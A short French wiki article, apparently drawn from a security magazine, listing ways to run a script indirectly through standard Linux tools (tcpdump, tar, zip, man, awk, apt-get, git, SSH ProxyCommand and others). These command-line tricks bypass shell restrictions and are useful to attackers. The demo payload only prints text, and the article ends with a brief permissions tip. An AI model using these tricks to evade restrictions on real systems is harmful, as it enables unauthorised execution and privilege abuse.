**Exécution détourné de commande**
**1.Présentation**
Le but de cet article est de montrer comment il est possible d'arriver à exécuter un script runme.sh sans l'appeler directement depuis Bash.
Le script est le suivant :
#! /bin/bash
echo "Hacker forever !"
echo "Remember it !"
**2.Exploitation**
Nous allons utiliser des commandes de bases présentes sur les systèmes d'exploitation Linux pour parvenir à nos fins.
__2.1 TCPDUMP__
tcpdump -n -i -lo -G1 -w /dev/null -z ./runme.sh
{{ :appsysteme:commande.png?nolink |}}
__2.2 SERVICE__
service ../../tmp/runme.sh
{{ :appsysteme:commande2.png?nolink |}}
__2.3 APT-GET__
echo 'Dpkg::Pre-invoke {"~/tmp/runme.sh";};' > dpkg-opts
apt-get install coway -c=dpkg-opts
__2.4 TAR__
Première manière :
tar c a.tar -I ./runme.sh a
{{ :appsysteme:commande3.png?nolink |}}
Seconde manière :
tar cvf a.tar runme.sh --checkpoint-action=exec='sh ./runme.sh' --checkpoint=1
{{ :appsysteme:commande4.png?nolink |}}
__2.5 ZIP__
zip z.zip runme.sh -T -TT ./runme.sh
{{ :appsysteme:commande5.png?nolink |}}
__2.6 MAN__
man -P /tmp/runme.sh man
{{ :appsysteme:commande6.png?nolink |}}
__2.7 FIND__
find . -name runme.sh -exec ./runme.sh \;
{{ :appsysteme:commande7.png?nolink |}}
__2.9 FTP__
ftp
! ./runme.sh
{{ :appsysteme:commande8.png?nolink |}}
__2.10 AWK__
awk 'BEGIN {system("./runme.sh")}'
{{ :appsysteme:commande12.png?nolink |}}
__2.11 GIT__
Nous allons modifier la variable d'environnement PATH.
export PATH=/tmp:$PATH
ln -sf /tmp/runme.sh /tmp/git-help
git --exec-path=/tmp help
__2.12 SSH__
$ cat .ssh/config
Host server
Hostname server.corp
ProxyCommand /tmp/runme.sh
3.Comment se protéger
Il faut bien paramétrer les droits sur votre système Linux pour que les utilisateurs n'est pas accès à des commandes non nécessaires.
Source : Misc n°83 janvier/février 2016